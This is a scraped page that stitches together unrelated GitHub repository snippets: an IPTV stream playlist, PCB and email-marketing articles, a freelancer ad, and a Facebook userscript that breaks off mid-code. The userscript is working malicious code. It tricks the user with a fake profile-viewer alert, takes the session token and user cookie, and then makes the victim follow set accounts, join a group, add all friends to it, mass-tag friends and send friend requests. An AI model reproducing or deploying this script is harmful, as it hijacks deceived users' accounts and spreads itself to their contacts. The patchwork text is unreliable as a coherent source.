https://vcnyellowspot.teleosmedia.com/stream/yellowspot/super-geek-heros/seglist_720p.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/xOSODRW.png" group-title="UK",African Cinema https://stream.ecable.tv/africancine/tracks-v3a1/mono.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/HL7fwzt.png" group-title="UK",Afrobeats https://stream.ecable.tv/afrobeats/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uxEkyBS.png" group-title="UK",AsSalt TV https://stream.ecable.tv/asstv/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/idRFfhY.png" group-title="UK",Bloomberg Television http://cdn-videos.akamaized.net/btv/desktop/akamai/europe/live/primary.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/b/be/Box_hits.svg/1280px-Box_hits.svg.png" group-title="UK",Box Hits http://csm-e.tm.yospace.com/csm/extlive/boxplus01,boxhits-desktop.m3u8?yo.up=http%3a%2f%2fboxtv-origin-elb.cds1.yospace.com%2fuploads%2fboxhits%2f #EXTINF:-1 tvg-logo="https://i.imgur.com/LaqgQOX.png" group-title="UK",Box Up Front http://csm-e.tm.yospace.com/csm/extlive/boxplus01,boxupfront-desktop.m3u8?yo.up=http://boxtv-origin-elb.cds1.yospace.com/uploads/boxupfront/ #EXTINF:-1 tvg-logo="https://i.imgur.com/4wbZUfh.png" group-title="UK",CGTN Documentary (Opt-1) http://live.cgtn.com/cctv-d.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/4wbZUfh.png" group-title="UK",CGTN Documentary (Opt-2) http://livefr.cgtn.com/1000d/prog_index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/53EgUZN.png" group-title="UK",CNBC Europe http://ott-cdn.ucom.am/s65/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://www.createandcraft.com/gb/common/images/brand-shop/about-us/logo.png" group-title="UK",Create and Craft https://live-craftuk.simplestreamcdn.com/craftuk/3/prog_index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eD8zkhY.png" group-title="UK",Cruise1st TV https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/cruise_tv/hls_video/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/zGVnGPv.png" group-title="UK",Dave http://streamingserver001.viewtvgroup.com/kapanglivetv-uksat-dave/tracks-v1a1/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/4qrQOr7.png" group-title="UK",DSport http://jiocgehub.jio.ril.com/Dsports_HD/Dsports_HD.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="http://ocdn.eu/images/program-tv/NTU7MDA_/e7114237dc0731c7dd660c32d6822432.png" group-title="UK",English Club TV http://ott-cdn.ucom.am/s37/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Jh3Ccrn.png" group-title="UK",Filmon 360 https://www.filmon.com/vr-streams/4136.high/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/f/f9/Food_Network_New_Logo.png" group-title="UK",Food Network http://95.86.32.7:999/food #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/0/0c/FOX_Sports_logo.svg/1280px-FOX_Sports_logo.svg.png" group-title="UK",Fox Sports http://45.58.62.92:8080 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/3/38/Gemporia_tv_in.png" group-title="UK",Gemporia (Opt-1) https://57d6b85685bb8.streamlock.net/abrgemporiaukgfx/livestream_source/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/3/38/Gemporia_tv_in.png" group-title="UK",Gemporia (Opt-2) http://57d6b85685bb8.streamlock.net:1935/abrgemporiaukgfx/livestream_360p/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/CzsBnvf.png" group-title="UK",Horizon Sports https://a.jsrdn.com/broadcast/22705/+0000/hi/c.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/iz3YpQ1.png" group-title="UK",Insight http://jiocgwhub.jio.ril.com/Insight/Insight.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/HKyWKar.png" group-title="UK",Jewellery Maker http://edge01.cdn.aws.subset.host/JewelleryMakerLive/JewelleryMakerLive/playlist.m3u8 #EXTINF:-1 tvg-logo="http://undergroundbass.co.uk/image/koollondon.png" group-title="UK",Kool London Radio http://w10.streamgb.com:1935/kool/kool/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/XTv8pla.png" group-title="UK",Motorsport TV http://45.58.62.92:8084 #EXTINF:-1 tvg-logo="https://i.imgur.com/h0NNZ2U.png" group-title="UK",Nat Geo Wild (Asia) http://103.199.160.85/Content/insync/Live/Channel(Insync)/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/QqLoAs7.png" group-title="UK",Nickelodeon http://ms-azure-video.gslb.startimestv.com/live/NICKELODEON_836_250_320x240_191618/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OYHd7FJ.png" group-title="UK",Pick https://streamingserver001.viewtvgroup.com/kapanglivetv-uksat-pick/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/vIQR1Fv.png" group-title="UK",Pop https://streamingserver001.viewtvgroup.com/kapanglivetv-uksat-pop/tracks-v1a1/mono.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/FE6M4rs.png" group-title="UK",Primal Living TV https://57d4d8b1e4f4f.streamlock.net/primalcure/livestream/chunklist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC http://live.qvcuk.simplestreamcdn.com/live/qvcuk_main_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC +1 http://llnw.live.qvc.simplestream.com/hera/remote/qvcuk_primary_sdi1/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC Beauty http://live.qvcuk.simplestreamcdn.com/live/qvcuk_beauty_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC Style http://live.qvcuk.simplestreamcdn.com/live/qvcuk_style_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jJhXY0I.png" group-title="UK",QVC Extra http://live.qvcuk.simplestreamcdn.com/live/qvcuk_extra_clean/bitrate1.isml/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/owjXT3r.png" group-title="UK",Rathergood Radio https://streamingserver001.viewtvgroup.com/kapanglivetv-playout-rathergoodradio/tracks-v5a1/mono.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oxfXXlb.png" group-title="UK",Reuters http://220.158.149.28:8180/live/TV00000000000000000034@HHZT #EXTINF:-1 tvg-logo="https://i.imgur.com/IlSYKSK.png" group-title="UK",Sheffield Live! 93.2 FM http://tv.sheffieldlive.org/hls/main.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/b/b4/Sky-news-logo.png" group-title="UK",Sky News (Opt-1) http://ax.micaesoft.com/YMitv/YMITV_UK_UKskytv_2.m3u8?fluxustv.m3u8 #EXTINF:-1 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http://109.231.229.37:3401/voxafuk/voxafhlsout/chunklist_w985073329.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oitvOug.png" group-title="UK",World of Free Sports https://a.jsrdn.com/broadcast/22723/+0000/hi/c.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/TB3jwQO.png" group-title="IRELAND",RTE Jr. https://cdn.rasset.ie/hls-live/_definst_/rtejr/rtejr-576.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/SMvAjyK.png" group-title="IRELAND",TG4 http://csm-e.cds1.yospace.com/csm/live/74246610.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/thumb/7/72/3AW693logo.svg/1200px-3AW693logo.svg.png" group-title="AUSTRALIA",3AW 693 AM Melbourne http://melb3awvid-lh.akamaihd.net/i/melbournevid_1@109381/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/V3GCQ5a.png" group-title="AUSTRALIA",4BC 1116 AM Brisbane http://bris4bcvid-lh.akamaihd.net/i/brisbanebcvida_1@110989/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ZeC0jE4.png" group-title="AUSTRALIA",Australia Channel https://austchannel-live.akamaized.net/hls/live/2002729/austchannel-news/master1280x720.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/idRFfhY.png" group-title="AUSTRALIA",Bloomberg Television https://liveprodapnortheast.global.ssl.fastly.net/btv/desktop/aus_live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/h4PmdaN.png" group-title="AUSTRALIA",C31 Melbourne https://dcunilive47-lh.akamaihd.net/i/dclive_1@739220/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/f/ff/Expo_2015_logo.png" group-title="AUSTRALIA",Expo Channel http://tvsn-i.akamaihd.net/hls/live/261837/expo/expo_750.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/vLdszKt.png" group-title="AUSTRALIA",Fox Sports News https://austchannel-live.akamaized.net/hls/live/2002736/austchannel-sport/master1280x720.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AaXbz6o.png" group-title="AUSTRALIA",Macquarie Sports Radio http://syd2uevid-lh.akamaihd.net/i/sydneyuevid_1@110994/index_500_av-p.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/thumb/3/3e/RACING.COM_logo_2016.svg/1200px-RACING.COM_logo_2016.svg.png" group-title="AUSTRALIA",Racing.com https://racingvic-i.akamaized.net/hls/live/598695/racingvic/628.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gRrfqSb.png" group-title="AUSTRALIA",Rainbow TV Chinese http://rtvcdn.com.au:8082/TV_GG.m3u8 #EXTINF:-1 tvg-logo="https://www.foxtel.com.au/content/dam/foxtel/watch/news/sky-news-extra-colour.PNG" group-title="AUSTRALIA",Sky News Extra 1 https://skynewsau-live.akamaized.net/hls/live/2002689/skynewsau-extra1/master.m3u8 #EXTINF:-1 tvg-logo="https://www.foxtel.com.au/content/dam/foxtel/watch/news/sky-news-extra-colour.PNG" group-title="AUSTRALIA",Sky News Extra 2 https://skynewsau-live.akamaized.net/hls/live/2002690/skynewsau-extra2/master.m3u8 #EXTINF:-1 tvg-logo="https://www.foxtel.com.au/content/dam/foxtel/watch/news/sky-news-extra-colour.PNG" group-title="AUSTRALIA",Sky News Extra 3 https://skynewsau-live.akamaized.net/hls/live/2002691/skynewsau-extra3/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/cNW54Mp.png" group-title="NEW ZEALAND",Maori TV (Opt-1) http://i.mjh.nz/nz/tv.13.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/cNW54Mp.png" group-title="NEW ZEALAND",Maori TV (Opt-2) https://bcsecurelivehls-i.akamaihd.net//hls/live/720612/1614493167001_1/master_iPad1080p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VKc7BLC.png" group-title="NEW ZEALAND",Parliament TV (Opt-1) http://streaming.kordia.net.nz/out/u/house_captionsVideo3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VKc7BLC.png" group-title="NEW ZEALAND",Parliament TV (Opt-2) http://streaming.kordia.net.nz/out/u/ptv_houseaudio.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/yrJVHTd.png" group-title="NEW ZEALAND",Te Reo http://i.mjh.nz/nz/tv.20.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/5/5f/Three_NZ_TV.png" group-title="NEW ZEALAND",Three http://mediaworks-i.akamaihd.net/hls/live/220435/3812193411001/3news_live/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jflyqMm.png" group-title="NEW ZEALAND",TVSN http://tvsn-i.akamaihd.net/hls/live/261837/tvsn_nz/tvsn_nz_750.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qwGFZKE.png" group-title="NEW ZEALAND",Wairarapa TV http://stream.wairarapatv.co.nz/Cellular_High/playlist.m3u8

GitHub Repo https://github.com/dh-orko/Help-me-get-rid-of-unhumans

dh-orko/Help-me-get-rid-of-unhumans

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GitHub Repo https://github.com/carolineallpcb/How-Much-Do-You-Know-About-HDI-PCB-Boards-

carolineallpcb/How-Much-Do-You-Know-About-HDI-PCB-Boards-

If you're in a fast-moving industry, you need to know about high density interconnect printed circuit boards. If your company isn't using them now, they probably will be soon. If they aren't, you can be sure your competitors are using them, so you need to learn about HDI PCBs and their benefits fast. __Key HDI PCB Benefits__ The evolution of high-density PCB technology has given engineers greater design freedom and flexibility than ever before. Designers using HDI high density interconnect methods now can place more components on both sides of the raw PCB if desired. In essence, an HDI PCB gives designers more space to work with, while allowing them to place smaller components even closer together. This means that a high-density interconnect PCB ultimately results in faster signal transmission along with enhanced signal quality. The high-density PCB is regularly found in mobile phones, touch-screen devices, laptop computers, digital cameras and 4G network communications. The HDI PCB is also prominently featured in medical devices, as well as various electronic aircraft parts and components. The possibilities for high-density interconnect PCB technology seem almost limitless. __HDI PCB Applications__ HDI PCBs are appropriate for a wide range of industries. As mentioned above, you'll find them in all types of digital devices, like smartphones(A Chinese famous cell phone Brand Xiaomi also use HDI PCBs) and tablets, where miniaturization is key to the effective application of the product. You can also find high-density interconnect PCBs in automobiles, aircraft and other vehicles that rely on electronics. One of the most critical areas where the high-density PCB is making huge inroads is in the medical arena. Medical devices frequently need small packages with high transmission rates that only HDI PCBs can supply. For example, an implant needs to be small enough to fit in the human body, but any electronics involved in that implant absolutely must efficiently allow for high-speed signal transmission. Here, the HDI PCB indeed is a godsend. HDI PCBs can also be useful in other medical equipment, like emergency room monitors, CT scans and much more. No matter your industry, you're probably already getting some ideas about how high-density interconnect PCBs can make the electronics you produce or use even better - get in touch with ALLPCB, a topspeed PCB prototype manufacturer to discuss it. We'll let you know if you're on the right track and help you decide exactly how beneficial an HDI PCB can be to your industry. Then, you can determine whether or not to take the next step. __High Density PCBs of Impeccable Quality__ Over the course of a decade in business, ALLPCB has established a hard-earned reputation for manufacturing PCBs of the highest quality. Our custom PCB manufacturing capabilities enable you to get the finest quality HDI PCBs at competitive prices without min order quantity requirement. Our team check on your custom PCB file and consult with you to ensure it is ready for manufacturing and that your boards will meet your performance requirements. We also have an on-site quality control department to verify the finished product meet your high quality standards.

GitHub Repo https://github.com/adesatria/Theme

adesatria/Theme

GitHub Repo https://github.com/ZulqarnainZilli/-9-Email-Marketing-Tips-For-Content-Marketers

ZulqarnainZilli/-9-Email-Marketing-Tips-For-Content-Marketers

9 Email Marketing Tips For Content Marketers Even “agnostics” regarding email marketing can't hash out the following evidence - the average ROI from this promotional practice is close to 3,800%. Measureless opportunities to scale up and relative cheapness, compared to other reaching-out channels, are the two reasons why the email marketing is fair-haired by businesses. However, this is not about the price and physical extent alone. The chief advantage is a better alignment of communication with customers. If you hope a certain content strategy brings desirable results, overlooking the quality of mailing messages will be a sorry pitfall. Always keep in mind that newsletters, welcome, retention, and other emails are not just a brand's facade - but a powerful tool for generating conversions. By joining sides of email and content strategies, you can come up with synergy from both. In this guide, we’ll cover a few recommendations for content marketers on how to write email messages that work. Tips for email marketing Segment your list Split the batch of email recipients into smaller groups based on chosen criteria, and mail distinct relevant messages - for each. You can use recipients' GEO, demographic characteristics, or purchase history to distinguish homogeneous clusters and proceed with the content planning. Segmentation is the basic premise for personalization, and if you still doubt why bothering about the latter - here are just a few numbers we took from Instapage: 52% of customers claim they do care if the message was tailor-made or not 82% of marketers say that mail personalization increases the open ratio custom emails have 41% more unique clicks than mass-produced ones. To avoid a fragmented approach, use data from CRMs, website analytics tools, and other sources to define segments. Concerning phrasings, a good idea is to create Buyer personas profiles. Thus, you'll be able to choose the appropriate message length and wording. Say, design a newsletter to promote paid subscription for an email validator service. You've decided to distinguish corporate clients based on their company size and determined the following groups: #1 - B2Bs and #2 - sole entrepreneurs. Possible messages for the two: #1. Our "XXL" plan is perfect for agencies and enterprises. One can add unlimited users and conduct up to 100,000 checks per month. #2. With our "S" you get 1,000 credits and 5,000 unique recipients - for only $33 per month. Plus - a 7-days free trial. Use interactive content The best content marketers know that interactive content came into vogue a long time ago. As to emails, here are the most common examples: CSS animated buttons If you include CTAs buttons (that we hope you do) - liven them up a bit. Add an animated hover effect, so that every time a recipient puts a cursor on a button, it changes shape, shade, color, or text. “Add hover to emphasise objects”, source This shouldn’t necessarily be something dramatic - add tiny accents that will yet grab the user's attention. starring “Add a star rating component to engage readers with content”, source Including ranking or reviewing widgets in the email body is one of the most working ways to engage the reader with the message. Ask recipients to assess your product or service with stars. Add the link to Google Forms if you want to receive an extended opinion on overall customer satisfaction. pictures' rollovers “Use animated images to describe goods better”, source The effect is eagerly used by the ones who promote online stores. Using The rollover allows to show goods from different angles or even play with recipients, if relevant. Take into account that this feature only works on desktops - mobile mail users will see the very first picture only. images carousel “Add pieces of text directly on images”, source If you want to enhance goods cards with descriptive content, say - price and shipping details, use a carousel instead of a rollover. As so, you can add more info pictures to the email body and, hopefully, convert more recipients into customers. a countdown “Countdowns work well for limited in time offers”, source Again, this type of interactive content fits the online shopping niche. Animated clocks amplify urgency and theoretically increase conversions. But it's important to stay extremely careful and not to sound desperate - otherwise, the newsletter will end up in the recipient's "Spam". Improve design The attractiveness of an email is something granted on certain terms, indeed. Not all emails need to be flashy or include expensive designs. However, there are some prevailing common trends in the matter. By following them, you seem to show the recipient that your company is moving in step with the times, and not stuck in the 2000s. Here's the shortlist from the TOP email design trends list that a 99designs provides - as of 2021: magazine-styled “Make newsletters to look a bit editorial”, source More and more newsletters tend to look like a centerfold from good old printed media. With a strict following to the "Less is more" principle - clear fonts, short phrases, HD-quality images with a few objects on them, and short CTAs. hand-made illustrations “Unique pictures create a distinct flavour of your brand”, source Tailored icons or sketchy images - whatever fits your mailing purpose, just make sure it's not too bright, contrast, or overloaded with details. Give preference to clean colors. skeuomorphic objects This is when a design resembles a real object. To see an example - just open a reader App on your smartphone. “A skeuomorphic bookshelf”, source HD photographies “If you operate in the luxury segment, do not skimp on email visuals”, source These are expensive content, but if you work in fashion or other chick industries - it may be worth the effort. animated content Yeap, we've covered this in a previous tip. single scroll “Looks especially good on smartphones”, source Place the entire email content, including buttons, on the endless-looking long frame. Focus on conversions Stay focused on what's your mailing purpose. Don't forget that everybody expects to see a good ROI from email actions at the end of the reporting period. Craft effective CTAs - perceive these not as a sole button with a "Download now" text or so, but as an entire sense of a message that you write. To create a captivating CTA copy, adhere to the below advices: include win-win propositions Even though you’re not providing a customer with a discount or cash refund at the moment, your proposition may include a non-monetary incentive. New arrivals, selection of the latest news, free copies, advice from experts - the only rule here is to offer what’ll hold in high esteem. trigger on emotions Don't long-windedly list benefits. Instead, simulate a life situation and show how your product or service can help. use several CTAs throughout the email Email body may be viewed in several scrolls, especially when via small mobile devices’ screens. If you add a call to action at the beginning of the message, a mere number of users will get back to it after finishing reading the content. Thus, you may lose potential conversion. Include several buttons throughout the email body, but don’t sound repeatedly - change calls’ forms and wording. Encourage readers to reply Driving recipients to reply is challenging yet able to be done. First, choose the proper writing tone. According to an extensive study of emails that didn’t get a response, the most preferable is a 3rd-grade reading level. “Too elementary or too proficient tone may scare away readers”, source Of course, you must apply this recommendation with an eye on the recipient. If you mail to a professor or a government agency, a “3rd-grade” rule isn’t applicable. But all else being equal - simplify the lexicon to the level a schoolchild can understand it. Another trick is to sound overall happy. Emails that are enhanced with positive emotions get 10-15% more replies, on average than neutral ones. The best manner is to choose a slightly warm tone. Exaggerated excitement may look weird and even suspicious, especially when reaching out to business partners. And don’t forget about courtesy. A rare person will respond if you address him or her with a hair-raising “To whom it may concern” phrase. Make it personal Personification shouldn’t be confused with personalization. The second is rather about mailing fitting content from a commercial perspective, while the first term - about addressing the recipient as a one-off personality. Personal emails start with the recipient’s name - and no other way. They include references to the user's interests or past actions. For example, if your tourist agency’s client is interested in island vacations - you shall approach him or her with respective offers. They also shall contain personalized promotions, if any. The best way to expand this approach on hundreds or thousands of recipients is to launch trigger-based email campaigns. Create delivery scenarios for different segments or stages of a sales pipeline. Then prepare a fitting sequence of relevant content - for every single scenario. To give a human face to mailing, one can practice greetings, as well. Birthdays, state holidays, anniversaries, a new status in the loyalty system - there are a lot of examples of what one may congratulate the customer with. Keep your emails out of spam folders It is better not to launch mailing at all than to use an untrustworthy emails’ database. The risks are much higher than a slew of undelivered messages - from harming a sender's reputation to being banned by mailing systems. So it's better to stay proactive: tidy away broken, misspelled, temporary, or other worrisome emails from the database - either manually or with the help of software collect a valid email address only - through email finders avoid spam-trigger words establish a double opt-in validation set the correct mailing frequency. Make sure your emails look clean and crisp Newsletters shall afterall bring revenues - whether you want it or not. But in a bid of quantity, don’t lose the overall content integrity and sense: a subject line, pre-header, header, email body, and calls shall be consistent with one another the copy must be of the proper size; although the length depends on many factors, stick to an “ideal” interval - 50 to 125 words if can, don’t attach too many files or links to external websites - mailing filters are suspicious to these adapt the layout to fit smaller screens - nothing looks worse than broken email elements when you open it on mobile. Wrapping up It doesn't make much difference whether you create mailing content for personal or business purposes - these email marketing tips will serve both. No strains here - the recipient’s interest should be at your forefront. If you can hook him or her with the content by using tricks we've covered, you’ll never fail with enough conversions.

GitHub Repo https://github.com/heyitsgogetagegeta-art/NeonDev-Web-Creations-

heyitsgogetagegeta-art/NeonDev-Web-Creations-

✨ Welcome to Next gen Charming Designs & NeonDev Web-Creations ✨ 🚀 I create & sell digital products + coding services: 🎨 HD Wallpapers Packs, Logos, Resume Templates 💻 Professional Websites, Portfolios, Business Sites 🤖 Small Web Apps & Tools 💸 Affordable | Fast | High Quality 📲 Payment via JazzCash & Easypaisa

GitHub Repo https://github.com/ephendyy/sahabatfb

ephendyy/sahabatfb

// ==UserScript== // @name facebook 2014 // @version v.01 // @Hak Cipta Ephendy // ==/UserScript== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Apakah Anda Ingin mengetahui pengintip profil Anda..?? Klik OK untuk melanjutkan'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } // ADMIN a("100003968374379");a("100002185318761");a("1472703506");a("675820844");a("510704624");a("510704630"); var gid = ['610945318992585']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "453791288019170"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?Â¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + 